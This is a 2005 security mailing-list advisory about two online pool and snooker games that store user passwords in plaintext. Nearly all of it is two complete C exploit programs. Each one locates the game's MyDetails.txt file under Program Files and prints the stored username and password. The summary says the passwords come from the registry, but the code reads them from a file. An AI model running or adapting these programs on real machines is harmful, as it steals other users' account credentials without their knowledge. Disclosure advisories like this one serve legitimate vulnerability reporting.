[EXPL] iPool and iSnooker Local Password Disclosure

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To: list@securiteam.com
Date: 17 Mar 2005 11:52:18 +0200

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  iPool and iSnooker Local Password Disclosure
------------------------------------------------------------------------

SUMMARY

 <http://www.thepoolclub.com> iPool and <http://www.thesnookerclub.com>
iSnooker are an online pool/snooker game. iPool and iSnooker store
passwords of users in plaintext, this allows a local attacker to read the
passwords from the registry.

DETAILS

Exploit (iPool) :
/*************************************************************

iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan

Application: iPool 1.6.81

Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com

Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

**************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",0, KEY_QUERY_VALUE, &hKey)
== ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL, (LPBYTE)
prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) {
RegCloseKey(hKey);
printf("An error occured. Can't get password!\n");
return -1;
}

RegCloseKey(hKey);

}
else
{
printf("An error occured. Can't get password!\n");
return -1;
}

printf("\n\niPool 1.6.81 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("kozan at netmagister\n");
printf("www.netmagister.com - www.spyinstructors.com\n\n");

char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];

strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));

int addr, i, y;
FILE *fp;
char ch[100], ch2[100];

if((fp=fopen(pwdfile,"rb")) == NULL)
{
printf("An error occured. Can't get password!\n");
return -1;
}

fseek(fp,0,0);

for(i=0;i<30;i++)
{
ch[i]=getc(fp);
if(ch[i]==0x0D)
{
ch[i]=NULL;
strcpy(username,ch);
break;
}
}

addr = ftell(fp);
fseek(fp,addr+1,0);

for(y=0;y<30;y++)
{
ch2[y]=getc(fp);
if(ch2[y]==0x0D)
{
ch2[y]=NULL;
strcpy(password,ch2);
break;
}
}

fclose(fp);

printf("Username : %s\n",username);
printf("Password : %s\n",password);

return 0;
}

Exploit (iSnooker):
/*****************************************************************

iSnooker <= v1.6.8 Local Password Disclosure Exploit by Kozan

Application: iSnooker 1.6.8

Vendor:
Memir Software - memirsoftware.com and
The Snooker Club - thesnookerclub.com

Vulnerable Description:
iSnooker 1.6.8 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan at netmagister

*****************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL,
NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen >
BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured. Can't get
password!\n");
return -1;
}

RegCloseKey(hKey);

}
else
{
printf("An error occured. Can't get password!\n");
return -1;
}

printf("\n\niSnooker 1.6.8 Local Password Disclosure Exploit by
Kozan\n");
printf("Credits to ATmaCA\n");
printf("kozan@netmagister.com\n");
printf("www.netmagister.com - www.spyinstructors.com\n\n");

char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];

strcpy(pwdfile,strcat(prgfiles,"\\TheSnookerClub\\iSnooker\\MyDetails.txt"));

int addr, i, y;
FILE *fp;
char ch[100], ch2[100];

if((fp=fopen(pwdfile,"rb")) == NULL)
{
printf("An error occured. Can't get password!\n");
return -1;
}

fseek(fp,0,0);

for(i=0;i<30;i++)
{
ch[i]=getc(fp);
if(ch[i]==0x0D)
{
ch[i]=NULL;
strcpy(username,ch);
break;
}
}

addr = ftell(fp);
fseek(fp,addr+1,0);

for(y=0;y<30;y++)
{
ch2[y]=getc(fp);
if(ch2[y]==0x0D)
{
ch2[y]=NULL;
strcpy(password,ch2);
break;
}
}

fclose(fp);

printf("Username : %s\n",username);
printf("Password : %s\n",password);

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:kozan@netmagister.com>
ATmaCA.

========================================

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